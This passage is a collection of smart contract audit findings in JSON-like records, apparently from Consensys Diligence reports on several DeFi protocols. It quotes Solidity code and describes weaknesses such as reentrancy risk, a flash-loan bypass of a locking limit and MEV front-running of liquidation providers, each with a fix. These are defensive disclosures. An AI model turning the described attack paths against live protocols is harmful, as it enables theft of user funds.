_index, uint256 _cycle, This method can only be called by the strategist because of the onlyStrategist modifier. This method has a few steps which take one asset and transform it into another asset a few times. It first claims the Badger tokens: code/BTC-Plus/contracts/single/eth/BadgerSBTCCrv%2B.sol:L58-L59 // 1. Harvest from Badger Tree IBadgerTree(BADGER_TREE).claim(_tokens, _cumulativeAmounts, _index, _cycle, _merkleProof, _amountsToClaim); Then it transforms the Badger tokens into WBTC using Uniswap. code/BTC-Plus/contracts/single/eth/BadgerSBTCCrv%2B.sol:L61-L72 // 2. Sushi: Badger --> WBTC uint256 _badger = IERC20Upgradeable(BADGER).balanceOf(address(this)); if (_badger > 0) { IERC20Upgradeable(BADGER).safeApprove(SUSHISWAP, 0); IERC20Upgradeable(BADGER).safeApprove(SUSHISWAP, _badger); address[] memory _path = new address[](2); _path[0] = BADGER; _path[1] = WBTC; IUniswapRouter(SUSHISWAP).swapExactTokensForTokens(_badger, uint256(0), _path, address(this), block.timestamp.add(1800)); This step can be simplified in two ways. First, the safeApprove method isn t useful because its usage is not recommended anymore. The OpenZeppelin version 4 implementation states the method is deprecated and its usage is discouraged. contracts/token/ERC20/utils/SafeERC20Upgradeable.sol:L29-L30 * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. @dev Deprecated. This function has issues similar to the ones found in {IERC20-approve}, and its usage is discouraged. Thus, the SafeERC20Upgradeable.sol is not needed anymore and the import can be removed. @dev Deprecated. This function has issues similar to the ones found in {IERC20-approve}, and its usage is discouraged. Thus, the SafeERC20Upgradeable.sol is not needed anymore and the import can be removed. Another step is swapping the tokens on Uniswap. code/BTC-Plus/contracts/single/eth/BadgerSBTCCrv%2B.sol:L71 IUniswapRouter(SUSHISWAP).swapExactTokensForTokens(_badger, uint256(0), _path, address(this), block.timestamp.add(1800)); In this case, the last argument block.timestamp.add(1800) is the deadline. This is useful when the transaction is sent to the network and a deadline is needed to expire the transaction. However, the execution is right now and there s no need for a future expiration date. Removing the safe math addition will have the same end effect, the tokens will be swapped and the call is not at risk to expire. Recommendation Remove safeApprove and favor using approve. This also removes the need of having SafeERC20Upgradeable.sol included. Do not use safe math when sending the expiration date. Use block.timestamp for the same effect and a reduced gas cost. Apply the same principles for other Single Plus Tokens. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/nuts-finance-btcplus/"}, {"title": "4.3 Reduce complexity in modifiers related to governance and strategist ", "body": " Resolution Comment from NUTS Finance team: The code size seems to be an issue for us. For example, the code size of the CompositePlus contract is more than 21k. If you could provide more suggestions on how to reduce the contract code size, we d appreciate it. Description The modifier onlyGovernance: code/BTC-Plus/contracts/Plus.sol:L101-L104 modifier onlyGovernance() { _checkGovernance(); _; Calls the internal function _checkGovernance: code/BTC-Plus/contracts/Plus.sol:L97-L99 function _checkGovernance() internal view { require(msg.sender == governance, \"not governance\"); There is no other case where the internal method _checkGovernance is called directly. One can reduce complexity by removing the internal function and moving its code directly in the modifier. This will increase code size but reduce gas used and code complexity. There are multiple similar instances: code/BTC-Plus/contracts/Plus.sol:L106-L113 function _checkStrategist() internal view { require(msg.sender == governance || strategists[msg.sender], \"not strategist\"); modifier onlyStrategist { _checkStrategist(); _; code/BTC-Plus/contracts/governance/GaugeController.sol:L298-L305 function _checkGovernance() internal view { require(msg.sender == governance, \"not governance\"); modifier onlyGovernance() { _checkGovernance(); _; code/BTC-Plus/contracts/governance/LiquidityGauge.sol:L450-L457 function _checkGovernance() internal view { require(msg.sender == IGaugeController(controller).governance(), \"not governance\"); modifier onlyGovernance() { _checkGovernance(); _; Recommendation Consider removing the internal function and including its body in the modifier directly if the code size is not an issue. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/nuts-finance-btcplus/"}, {"title": "4.4 safeMath is integrated in Solidity 0.8.0^ ", "body": " Resolution Comment from NUTS Finance team: We ve replaced all SafeMath usage with native math. Description The code base is using Solidity 0.8.0 which has safeMath integrated in the compiler. In addition, the codebase also utilizes OpenZepplin SafeMath library for arithmetic operations. Recommendation Removing safeMath from the code base results in gas usage optimization and also clearer code. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/nuts-finance-btcplus/"}, {"title": "4.5 Lack of up to date documentation", "body": " Resolution Comment from NUTS Finance team: We are continuing to enhance our docs about the latest design. Description This is a complicated system with many design decisions that are resulted from integration with other DeFi projects. In the code base there are many hard coded values or anti-patterns that are not documented and creates an unhealthy and hard to maintain code base. Examples TOKENLESS_PRODUCTION = 40; is not documented in the LiquidityGauge.sol. uint256 _balance = balanceOf(_account); uint256 _supply = totalSupply(); uint256 _limit = _balance.mul(TOKENLESS_PRODUCTION).div(100); if (_votingTotal > 0) { uint256 _boosting = _supply.mul(_votingBalance).mul(100 - TOKENLESS_PRODUCTION).div(_votingTotal).div(100); _limit = _limit.add(_boosting); Based on the conversation with the NUTS finance developer, this is due to fact that this is a fork of the way Curve s DAO contract works. Recommendation We recommend to have dedicated up to date documents on the system overview of the system and each module. In addition, in-line documentation in the code base helps to understand the code base and increases the readability of the code. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/nuts-finance-btcplus/"}, {"title": "6.1 ERC20Lockable - inconsistent locking status ", "body": " Resolution Issue was fixed by completely removing the unlock date mechanism. Description Vega_Token.is_tradable() will incorrectly return false if the token is never manually unlocked by the owner but unlock_time has passed, which will automatically unlock trading. Examples code/ERC20Lockable.sol:L48-L67 /** @dev locked status, only applicable before unlock_date / bool public _is_locked = true; /** @dev Modifier that only allows function to run if either token is unlocked or time has expired. Throws if called while token is locked. / modifier onlyUnlocked() { require(!_is_locked || now > unlock_date); _; /** @dev Internal function that unlocks token. Can only be ran before expiration (give that it's irrelevant after) / function _unlock() internal { require(now <= unlock_date); _is_locked = false; Recommendation declare _is_locked as private instead of public create a getter method that correctly returns the locking status function _isLocked() internal view { return !_is_locked || now > unlock_date; make modifier onlyUnlocked() use the newly created getter (_isLocked()) make Vega_Token.is_tradeable() use the newly created getter (_isLocked()) _unlock() should raise an errorcondition when called on an already unlocked contract it could make sense to emit a contract hast been unlocked event for auditing purposes 7 Tool-Based Analysis Several tools were used to perform automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issue Details section. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/01/vega-vegatoken/"}, {"title": "7.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. The output of a MythX Full Mode analysis was reviewed by the audit team and no relevant issues were raised as part of the process. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/vega-vegatoken/"}, {"title": "7.2 Ethlint", "body": " Ethlint is an open source project for linting Solidity code. Only security-related issues were reviewed by the audit team. Below is the raw output of the Ethlint vulnerability scan: Solium version 1.2.5 contracts/Address.sol 22:8 warning Line contains trailing whitespace no-trailing-whitespace 29:8 error Avoid using Inline Assembly. security/no-inline-assembly contracts/ERC20Lockable.sol 58:8 warning Provide an error message for require() error-reason 58:31 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 66:8 warning Provide an error message for require() error-reason 66:16 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members contracts/ERC20StaticSupply.sol 15:4 warning Line exceeds the limit of 145 characters max-len contracts/SafeERC20.sol 33:16 error Only use indent of 12 spaces. indentation 67:65 warning Avoid using low-level function 'call'. security/no-low-level-calls contracts/Vega_Token.sol 9:1 warning Line contains trailing whitespace no-trailing-whitespace ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/vega-vegatoken/"}, {"title": "7.3 Surya", "body": " Surya is a utility tool for smart contract systems. It provides a number of visual outputs and information about the structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers: S\u016brya s Description Report Files Description Table contracts/Vega_Token.sol b92b3c54b2f47a88fa9e84534046b462dbaee9aa contracts/Address.sol 1213b0f150dd5e3f694c3721c44cb5cc3202b743 contracts/ERC20Detailed.sol 7e4d00c462120565201f28361b29201d1bfe0a34 contracts/IERC20.sol 72c15b6a16b7dc92e69ff97ccfe1958d9948e200 contracts/ERC20Lockable.sol 377447995444beee2b3c5342bfa9b1bbc1d08356 contracts/SafeMath.sol c8bda5eb19c16d34bc48bf115229a9b967feb6ef contracts/ERC20StaticSupply.sol bf3e66af74470eed08d0e0f82b9a98705a745c7c contracts/Ownable.sol 12ec51ec8a3b4eed6326434fd0f5926b40602778 contracts/Roles.sol 2c85acf184ae36f96ebafd8f6e26232ea459a711 contracts/SafeERC20.sol ebd65ea9a0cdcb29bbbbf651a1076d51be031443 Contracts Description Table Function Name Visibility Mutability Modifiers Vega_Token Implementation Ownable, ERC20StaticSupply Public ERC20StaticSupply unlock_token Public onlyOwner is_tradable Public NO Address Library isContract Internal \ud83d\udd12 toPayable Internal \ud83d\udd12 ERC20Detailed Implementation IERC20 Public NO name Public NO symbol Public NO decimals Public NO IERC20 Interface totalSupply External NO balanceOf External NO transfer External NO allowance External NO approve External NO transferFrom External NO ERC20Lockable Implementation IERC20 _unlock Internal \ud83d\udd12 totalSupply Public NO balanceOf Public NO transfer Public onlyUnlocked allowance Public NO approve Public NO transferFrom Public onlyUnlocked increaseAllowance Public NO decreaseAllowance Public NO _transfer Internal \ud83d\udd12 _mint Internal \ud83d\udd12 _burn Internal \ud83d\udd12 _approve Internal \ud83d\udd12 _burnFrom Internal \ud83d\udd12 SafeMath Library add Internal \ud83d\udd12 sub Internal \ud83d\udd12 sub Internal \ud83d\udd12 mul Internal \ud83d\udd12 div Internal \ud83d\udd12 div Internal \ud83d\udd12 mod Internal \ud83d\udd12 mod Internal \ud83d\udd12 ERC20StaticSupply Implementation ERC20Detailed, Ownable, ERC20Lockable Public ERC20Detailed issue Public onlyOwner Ownable Implementation Internal \ud83d\udd12 owner Public NO isOwner Public NO renounceOwnership Public onlyOwner transferOwnership Public onlyOwner _transferOwnership Internal \ud83d\udd12 Roles Library add Internal \ud83d\udd12 remove Internal \ud83d\udd12 has Internal \ud83d\udd12 SafeERC20 Library safeTransfer Internal \ud83d\udd12 safeTransferFrom Internal \ud83d\udd12 safeApprove Internal \ud83d\udd12 safeIncreaseAllowance Internal \ud83d\udd12 safeDecreaseAllowance Internal \ud83d\udd12 callOptionalReturn Private \ud83d\udd10 Legend Function can modify state Function is payable ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/vega-vegatoken/"}, {"title": "6.1 Re-Entrancy Risks Associated With External Calls With Other Liquid Staking Systems. ", "body": " Resolution Fixed in commit f43b7cd5135872143cc35f40cae95870446d0413 by introducing reentrancy guards. Description As part of the strategy to integrate with Liquid Staking tokens for Ethereum staking, the Lybra Protocol vaults are required to make external calls to Liquid Staking systems. For example, the depositEtherToMint function in the vaults makes external calls to deposit Ether and receive the LSD tokens back. While external calls to untrusted third-party contracts may be dangerous, in this case, the Lybra Protocol already extends trust assumptions to these third parties simply through the act of accepting their tokens as collateral. Indeed, in some cases the contract addresses are even hardcoded into the contract and called directly instead of relying on some registry: contracts/lybra/pools/LybraWstETHVault.sol:L21-L40 contract LybraWstETHVault is LybraPeUSDVaultBase { Ilido immutable lido; //WstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0; //Lido = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; constructor(address _lido, address _asset, address _oracle, address _config) LybraPeUSDVaultBase(_asset, _oracle, _config) { lido = Ilido(_lido); function depositEtherToMint(uint256 mintAmount) external payable override { require(msg.value >= 1 ether, \"DNL\"); uint256 sharesAmount = lido.submit{value: msg.value}(address(configurator)); require(sharesAmount != 0, \"ZERO_DEPOSIT\"); lido.approve(address(collateralAsset), msg.value); uint256 wstETHAmount = IWstETH(address(collateralAsset)).wrap(msg.value); depositedAsset[msg.sender] += wstETHAmount; if (mintAmount > 0) { _mintPeUSD(msg.sender, msg.sender, mintAmount, getAssetPrice()); emit DepositEther(msg.sender, address(collateralAsset), msg.value,wstETHAmount, block.timestamp); In that case, depending on the contract, it may be known what contract is being called, and the risk may be assessed as far as what logic may be executed. However, in the cases of BETH and rETH, the calls are being made into a proxy and a contract registry of a DAO (RocketPool s DAO) respectively. contracts/lybra/pools/LybraWbETHVault.sol:L15-L32 contract LybraWBETHVault is LybraPeUSDVaultBase { //WBETH = 0xa2e3356610840701bdf5611a53974510ae27e2e1 constructor(address _asset, address _oracle, address _config) LybraPeUSDVaultBase(_asset, _oracle, _config) {} function depositEtherToMint(uint256 mintAmount) external payable override { require(msg.value >= 1 ether, \"DNL\"); uint256 preBalance = collateralAsset.balanceOf(address(this)); IWBETH(address(collateralAsset)).deposit{value: msg.value}(address(configurator)); uint256 balance = collateralAsset.balanceOf(address(this)); depositedAsset[msg.sender] += balance - preBalance; if (mintAmount > 0) { _mintPeUSD(msg.sender, msg.sender, mintAmount, getAssetPrice()); emit DepositEther(msg.sender, address(collateralAsset), msg.value,balance - preBalance, block.timestamp); contracts/lybra/pools/LybraRETHVault.sol:L25-L42 constructor(address _rocketStorageAddress, address _rETH, address _oracle, address _config) LybraPeUSDVaultBase(_rETH, _oracle, _config) { rocketStorage = IRocketStorageInterface(_rocketStorageAddress); function depositEtherToMint(uint256 mintAmount) external payable override { require(msg.value >= 1 ether, \"DNL\"); uint256 preBalance = collateralAsset.balanceOf(address(this)); IRocketDepositPool(rocketStorage.getAddress(keccak256(abi.encodePacked(\"contract.address\", \"rocketDepositPool\")))).deposit{value: msg.value}(); uint256 balance = collateralAsset.balanceOf(address(this)); depositedAsset[msg.sender] += balance - preBalance; if (mintAmount > 0) { _mintPeUSD(msg.sender, msg.sender, mintAmount, getAssetPrice()); emit DepositEther(msg.sender, address(collateralAsset), msg.value,balance - preBalance, block.timestamp); As a result, it is impossible to make any guarantees for what logic will be executed during the external calls. Namely, reentrancy risks can t be ruled out, and the damage could be critical to the system. While the trust in these parties isn t in question, it would be best practice to avoid any additional reentrancy risks by placing reentrancy guards. Indeed, in the LybraRETHVault and LybraWbETHVault contracts, one can see the possible damage as the calls are surrounded in a preBalance <-> balance pattern. The whole of third party Liquid Staking systems operations need not be compromised, only these particular parts would be enough to cause critical damage to the Lybra Protocol. Recommendation After conversations with the Lybra Finance team, it has been assessed that reentrancy guards are appropriate in this scenario to avoid any potential reentrancy risk, which is exactly the recommendation this audit team would provide. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/08/lybra-finance/"}, {"title": "6.2 The Deployer of GovernanceTimelock Gets Privileged Access to the System. ", "body": " Resolution As per discussions with the Lybra Finance team, this has been acknowledged as a temporary measure to configure anything before the launch of V2. Following the discussions, the Lybra Finance team has revoked the deployer s permissions in transaction 0x12c95eec095f7e24abc6a127f378f9f0fb3a0021aeac82b487c11afa01b793af and updated the commit 77e8bc3664fb1b195fd718c2ce1d49af8530f981 to instead introduce a multisig address that will have the Description The GovernanceTimelock contract is responsible for Roles Based Access Control management and checks in the Lybra Protocol. It offers two functions specifically that check if an address has the required role - checkRole and checkOnlyRole: contracts/lybra/governance/GovernanceTimelock.sol:L24-L30 function checkRole(bytes32 role, address _sender) public view returns(bool){ return hasRole(role, _sender) || hasRole(DAO, _sender); function checkOnlyRole(bytes32 role, address _sender) public view returns(bool){ return hasRole(role, _sender); In checkRole, the contract also lets an address with the role DAO bypass the check altogether, making it a powerful role. For initial role management, when the GovernanceTimelock contract gets deployed, its constructor logic initializes a few roles, assigns relevant admin roles, and, notably, assigns the DAO role to the contract, and the DAO and the GOV role to the deployer. contracts/lybra/governance/GovernanceTimelock.sol:L14-L23 constructor(uint256 minDelay, address[] memory proposers, address[] memory executors, address admin) TimelockController(minDelay, proposers, executors, admin) { _setRoleAdmin(DAO, GOV); _setRoleAdmin(TIMELOCK, GOV); _setRoleAdmin(ADMIN, GOV); _grantRole(DAO, address(this)); _grantRole(DAO, msg.sender); _grantRole(GOV, msg.sender); The assignment of such powerful roles to a single private key with the deployer has inherent risks. Specifically in our case, the DAO role alone as we saw may bypass many checks within the Lybra Protocol, and the GOV role even has role management privileges. However, it does make sense to assign such roles at the beginning of the deployment to finish initialization and assign the rest of the roles. One could argue that having access to the DAO role in the early stages of the system s life could allow for quick disaster recovery in the event of incidents as well. Though, it is still dangerous to hold privileges for such a system in a single address as we have seen over the last years in security incidents that have to do with compromised keys. Recommendation While redesigning the deployment process to account for a lesser-privileged deployer would be ideal, the Lybra Finance team should at least transfer ownership as soon as the deployment is complete to minimize compromised private key risk. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/08/lybra-finance/"}, {"title": "6.3 The configurator.getEUSDMaxLocked() Condition Can Be Bypassed During a Flashloan ", "body": " Resolution Fixed in f6c3afb5e48355c180417b192bd24ba294f77797 by checking Description When converting EUSD tokens to peUSD, there is a check that limits the total amount of EUSD that can be converted: contracts/lybra/token/PeUSDMainnet.sol:L74-L77 function convertToPeUSD(address user, uint256 eusdAmount) public { require(_msgSender() == user || _msgSender() == address(this), \"MDM\"); require(eusdAmount != 0, \"ZA\"); require(EUSD.balanceOf(address(this)) + eusdAmount <= configurator.getEUSDMaxLocked(),\"ESL\"); The issue is that there is a way to bypass this restriction. An attacker can get a flash loan (in EUSD) from this contract, essentially reducing the visible amount of locked tokens (EUSD.balanceOf(address(this))). Recommendation Multiple approaches can solve this issue. One would be adding reentrancy protection. Another one could be keeping track of the borrowed amount for a flashloan. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/08/lybra-finance/"}, {"title": "6.4 Liquidation Keepers Automatically Become eUSD Debt Providers for Other Liquidations. ", "body": " Resolution Fixed in commit bbcf1867ef66cfdcd4b4fd26df39518048fbde1f by adding an alternative check to the allowance flag to see if Description One of the most important mechanisms in the Lybra Protocol is the liquidation of poorly collateralized vaults. For example, if a vault is found to have a collateralization ratio that is too small, a liquidator may provide debt tokens to the protocol and retrieve the vault collateral at a discount: contracts/lybra/pools/base/LybraEUSDVaultBase.sol:L148-L170 function liquidation(address provider, address onBehalfOf, uint256 assetAmount) external virtual { uint256 assetPrice = getAssetPrice(); uint256 onBehalfOfCollateralRatio = (depositedAsset[onBehalfOf] * assetPrice * 100) / borrowed[onBehalfOf]; require(onBehalfOfCollateralRatio < badCollateralRatio, \"Borrowers collateral ratio should below badCollateralRatio\"); require(assetAmount * 2 <= depositedAsset[onBehalfOf], \"a max of 50% collateral can be liquidated\"); require(EUSD.allowance(provider, address(this)) != 0, \"provider should authorize to provide liquidation EUSD\"); uint256 eusdAmount = (assetAmount * assetPrice) / 1e18; _repay(provider, onBehalfOf, eusdAmount); uint256 reducedAsset = assetAmount * 11 / 10; totalDepositedAsset -= reducedAsset; depositedAsset[onBehalfOf] -= reducedAsset; uint256 reward2keeper; if (provider == msg.sender) { collateralAsset.safeTransfer(msg.sender, reducedAsset); } else { reward2keeper = (reducedAsset * configurator.vaultKeeperRatio(address(this))) / 110; collateralAsset.safeTransfer(provider, reducedAsset - reward2keeper); collateralAsset.safeTransfer(msg.sender, reward2keeper); emit LiquidationRecord(provider, msg.sender, onBehalfOf, eusdAmount, reducedAsset, reward2keeper, false, block.timestamp); To liquidate the vault, the liquidator needs to transfer debt tokens from the provider address, which in turn needs to have had approved allowance of the token for the vault: contracts/lybra/pools/base/LybraEUSDVaultBase.sol:L154 require(EUSD.allowance(provider, address(this)) != 0, \"provider should authorize to provide liquidation EUSD\"); The allowance doesn t need to be large, it only needs to be non-zero. While it is true that in the superLiquidation function the allowance check is for eusdAmount, which is the amount associated with assetAmount (the requested amount of collateral to be liquidated), the liquidator could simply call the maximum of the allowance the provider has given to the vault and then repeat the liquidation process. The allowance does not actually decrease throughout the liquidation process. contracts/lybra/pools/base/LybraEUSDVaultBase.sol:L191 require(EUSD.allowance(provider, address(this)) >= eusdAmount, \"provider should authorize to provide liquidation EUSD\"); Notably, this address doesn t have to be the same one as the liquidator. In fact, there are no checks on whether the liquidator has an agreement or allowance from the provider to use their tokens in this particular vault s liquidation. The contract only checks to see if the provider has EUSD allowance for the vault, and how to split the rewards if the provider is different from the liquidator: contracts/lybra/pools/base/LybraEUSDVaultBase.sol:L162-L168 if (provider == msg.sender) { collateralAsset.safeTransfer(msg.sender, reducedAsset); } else { reward2keeper = (reducedAsset * configurator.vaultKeeperRatio(address(this))) / 110; collateralAsset.safeTransfer(provider, reducedAsset - reward2keeper); collateralAsset.safeTransfer(msg.sender, reward2keeper); In fact, this is a design choice of the system to treat the allowance to the vault as an agreement to become a public provider of debt tokens for the liquidation process. It is important to note that there are incentives associated with being a provider as they get the collateral asset at a discount. However, it is not obvious from documentation at the time of the audit nor the code that an address having a non-zero EUSD allowance for the vault automatically allows other users to use that address as a provider. Indeed, many general-purpose liquidator bots use their tokens during liquidations, using the same address for both the liquidator and the provider. As a result, this would put that address at the behest of any other user who would want to utilize these tokens in liquidations. The user might not be comfortable doing this trade in any case, even at a discount. In fact, due to this mechanism, even during consciously initiated liquidations MEV bots could spot this opportunity and front-run the liquidator s transaction. A frontrunner could put themselves as the keeper and the original user as the provider, grabbing the reward2keeper fee and leaving the original address with fewer rewards and failed gas after the liquidation. Recommendation While the mechanism is understood to be done for convenience and access to liquidity as a design decision, this could put unaware users in unfortunate situations of having performed a trade without explicit consent. Specifically, the MEV attack vector could be executed and repeated without fail by a capable actor monitoring the mempool. Consider having a separate, explicit flag for allowing others to use a user s tokens during liquidation, thus also accommodating solo liquidators by removing the MEV attack vector. Consider explicitly mentioning these mechanisms in the documentation as well. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/08/lybra-finance/"}, {"title": "6.5 Use the Same Solidity Version Across Contracts. ", "body": " Resolution Fixed in commit 33af5c92044cd84c7f69eb8a55316d1e8535ea84 and commit b1c6ac26b262ec6011c14297583d67d9e3e94326. Description Most contracts use the same Solidity version with pragma solidity ^0.8.17. The only exception is the StakingRewardsV2 contract which has pragma solidity ^0.8. contracts/lybra/miner/stakerewardV2pool.sol:L2 pragma solidity ^0.8; Recommendation If all contracts will be tested and utilized together, it would be best to utilize and document the same version within all contract code to avoid any issues and inconsistencies that may arise across Solidity versions. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/08/lybra-finance/"}, {"title": "6.6 Duplication of Bad Collateral Ratio ", "body": " Resolution The Lybra Finance team has acknowledged this as a choice by design and provided the following note: The liquidation ratio for each eUSD vault is fixed, and this has been stated in our docs. Therefore, we will keep it unchanged. Description It is possible to set a bad collateral ratio in the LybraConfigurator contract for any vault: contracts/lybra/configuration/LybraConfigurator.sol:L137-L141 function setBadCollateralRatio(address pool, uint256 newRatio) external onlyRole(DAO) { require(newRatio >= 130 * 1e18 && newRatio <= 150 * 1e18 && newRatio <= vaultSafeCollateralRatio[pool] + 1e19, \"LNA\"); vaultBadCollateralRatio[pool] = newRatio; emit SafeCollateralRatioChanged(pool, newRatio); But in the LybraEUSDVaultBase contract, this value is fixed and cannot be changed: contracts/lybra/pools/base/LybraEUSDVaultBase.sol:L19 uint256 public immutable badCollateralRatio = 150 * 1e18; This duplication of values can be misleading at some point. It s better to make sure you cannot change the bad collateral ratio in the LybraConfigurator contract for some types of vaults. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/08/lybra-finance/"}, {"title": "6.7 Missing Events. ", "body": " Resolution Fixed in commit 518ef434c6f89c7747373b6ae178d9665d3637f2. Description In a few cases in the Lybra Protocol system, there are contracts that are missing events in significant scenarios, such as important configuration changes like a price oracle change. Consider implementing more events in the below examples. Examples No events in the contract: contracts/lybra/miner/esLBRBoost.sol:L10-L30 contract esLBRBoost is Ownable { esLBRLockSetting[] public esLBRLockSettings; mapping(address => LockStatus) public userLockStatus; IMiningIncentives public miningIncentives; // Define a struct for the lock settings struct esLBRLockSetting { uint256 duration; uint256 miningBoost; // Define a struct for the user's lock status struct LockStatus { uint256 lockAmount; uint256 unlockTime; uint256 duration; uint256 miningBoost; // Constructor to initialize the default lock settings constructor(address _miningIncentives) { Missing an event during a premature unlock: contracts/lybra/miner/ProtocolRewardsPool.sol:L125-L135 function unlockPrematurely() external { require(block.timestamp + exitCycle - 3 days > time2fullRedemption[msg.sender], \"ENW\"); uint256 burnAmount = getReservedLBRForVesting(msg.sender) - getPreUnlockableAmount(msg.sender); uint256 amount = getPreUnlockableAmount(msg.sender) + getClaimAbleLBR(msg.sender); if (amount > 0) { LBR.mint(msg.sender, amount); unstakeRatio[msg.sender] = 0; time2fullRedemption[msg.sender] = 0; grabableAmount += burnAmount; Missing events for setting important configurations such as setToken, setLBROracle, and setPools: contracts/lybra/miner/EUSDMiningIncentives.sol:L87-L102 function setToken(address _lbr, address _eslbr) external onlyOwner { LBR = _lbr; esLBR = _eslbr; function setLBROracle(address _lbrOracle) external onlyOwner { lbrPriceFeed = AggregatorV3Interface(_lbrOracle); function setPools(address[] memory _vaults) external onlyOwner { require(_vaults.length <= 10, \"EL\"); for (uint i = 0; i < _vaults.length; i++) { require(configurator.mintVault(_vaults[i]), \"NOT_VAULT\"); vaults = _vaults; Missing events for setting important configurations such as setRewardsDuration and setBoost: contracts/lybra/miner/stakerewardV2pool.sol:L121-L130 // Allows the owner to set the rewards duration function setRewardsDuration(uint256 _duration) external onlyOwner { require(finishAt < block.timestamp, \"reward duration not finished\"); duration = _duration; // Allows the owner to set the boost contract address function setBoost(address _boost) external onlyOwner { esLBRBoost = IesLBRBoost(_boost); Missing event during what is essentially staking LBR into esLBR (such as in ProtocolRewardsPool.stake()). Consider an appropriate event here such as StakeLBR: contracts/lybra/miner/esLBRBoost.sol:L55-L58 if(useLBR) { IesLBR(miningIncentives.LBR()).burn(msg.sender, lbrAmount); IesLBR(miningIncentives.esLBR()).mint(msg.sender, lbrAmount); Recommendation Implement additional events as appropriate. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/08/lybra-finance/"}, {"title": "6.8 Incorrect Interfaces ", "body": " Resolution Fixed in commit 90285107de8a6754954c303cd69d97b5fdb4e248, commit 0ac9cd732b601d0baef2690ef9f9f02cda989331, and commit 518ef434c6f89c7747373b6ae178d9665d3637f2. Description In a few cases, incorrect interfaces are used on top of contracts. Though the effect is the same as the contracts are just tokens and follow the same interfaces, it is best practice to implement correct interfaces. IPeUSD is used instead of IEUSD contracts/lybra/configuration/LybraConfigurator.sol:L60 IPeUSD public EUSD; IPeUSD is used instead of IEUSD contracts/lybra/configuration/LybraConfigurator.sol:L109 if (address(EUSD) == address(0)) EUSD = IPeUSD(_eusd); IesLBR instead of ILBR contracts/lybra/miner/ProtocolRewardsPool.sol:L29 IesLBR public LBR; IesLBR instead of ILBR contracts/lybra/miner/ProtocolRewardsPool.sol:L57 LBR = IesLBR(_lbr); Recommendation Implement correct interfaces for consistency. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/08/lybra-finance/"}, {"title": "6.9 The ETH Staking Rewards Distribution Tradeoff", "body": " Description ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/08/lybra-finance/"}, {"title": "6.1 Potentially dangerous use of a cached exchange rate from Compound ", "body": " Description GPortfolioReserveManager.adjustReserve performs reserve adjustment calculations based on Compound s cached exchange rate values (using CompoundLendingMarketAbstraction.getExchangeRate()) then triggers operations on managed tokens based on up-to-date values (using CompoundLendingMarketAbstraction.fetchExchangeRate()) . Significant deviation between the cached and up-to-date values may make it difficult to predict the outcome of reserve adjustments. Recommendation Use getExchangeRate() consistently, or ensure fetchExchangeRate() is used first, and getExchangeRate() afterward. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/12/growth-defi-v1/"}, {"title": "6.2 Potential resource exhaustion by external calls performed within an unbounded loop ", "body": " Description DydxFlashLoanAbstraction._requestFlashLoan performs external calls in a potentially-unbounded loop. Depending on changes made to DyDx s SoloMargin, this may render this flash loan provider prohibitively expensive. In the worst case, changes to SoloMargin could make it impossible to execute this code due to the block gas limit. code/contracts/modules/DydxFlashLoanAbstraction.sol:L62-L69 uint256 _numMarkets = SoloMargin(_solo).getNumMarkets(); for (uint256 _i = 0; _i < _numMarkets; _i++) { address _address = SoloMargin(_solo).getMarketTokenAddress(_i); if (_address == _token) { _marketId = _i; break; ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/12/growth-defi-v1/"}, {"title": "6.1 Funds Refunded From Celer Bridge Might Be Stolen ", "body": " Resolution Remediated as per the client team in SocketDotTech/socket-ll-contracts#144 by adding checks to see if the refund is received and equal to the expected amount. Description The function refundCelerUser from CelerImpl.sol allows a user that deposited into the Celer pool on the source chain, to be refunded for tokens that were not bridged to the destination chain. The tokens are reimbursed to the user by calling the withdraw method on the Celer pool. This is what the refundCelerUser function is doing. src/bridges/cbridge/CelerImpl.sol:L413-L415 if (!router.withdraws(transferId)) { router.withdraw(_request, _sigs, _signers, _powers); From the point of view of the Celer bridge, the initial depositor of the tokens is the SocketGateway. As a consequence, the Celer contract transfers the tokens to be refunded to the gateway. The gateway is then in charge of forwarding the tokens to the initial depositor. To achieve this, it keeps a mapping of unique transfer IDs to depositor addresses. Once a refund is processed, the corresponding address in the mapping is reset to the zero address. Looking at the withdraw function of the Celer pool, we see that for some tokens, it is possible that the reimbursement will not be processed directly, but only after some delay. From the gateway point 